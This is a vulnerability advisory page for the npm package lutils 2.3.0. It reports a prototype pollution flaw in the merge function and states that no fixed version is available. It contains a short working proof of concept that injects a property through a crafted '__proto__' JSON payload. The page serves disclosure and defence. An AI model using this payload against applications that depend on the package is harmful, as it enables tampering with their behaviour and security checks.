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lutils@2.3.0 vulnerabilities

A few reliable utils.

  • latest version

    2.4.0

  • first published

    9 years ago

  • latest version published

    7 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the lutils package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    lutils is an A few reliable utils.

    Affected versions of this package are vulnerable to Prototype Pollution via the main (merge) function.

    PoC

    const lt = require('lutils');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
lt.merge({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

    How to fix Prototype Pollution?

    There is no fixed version for lutils.

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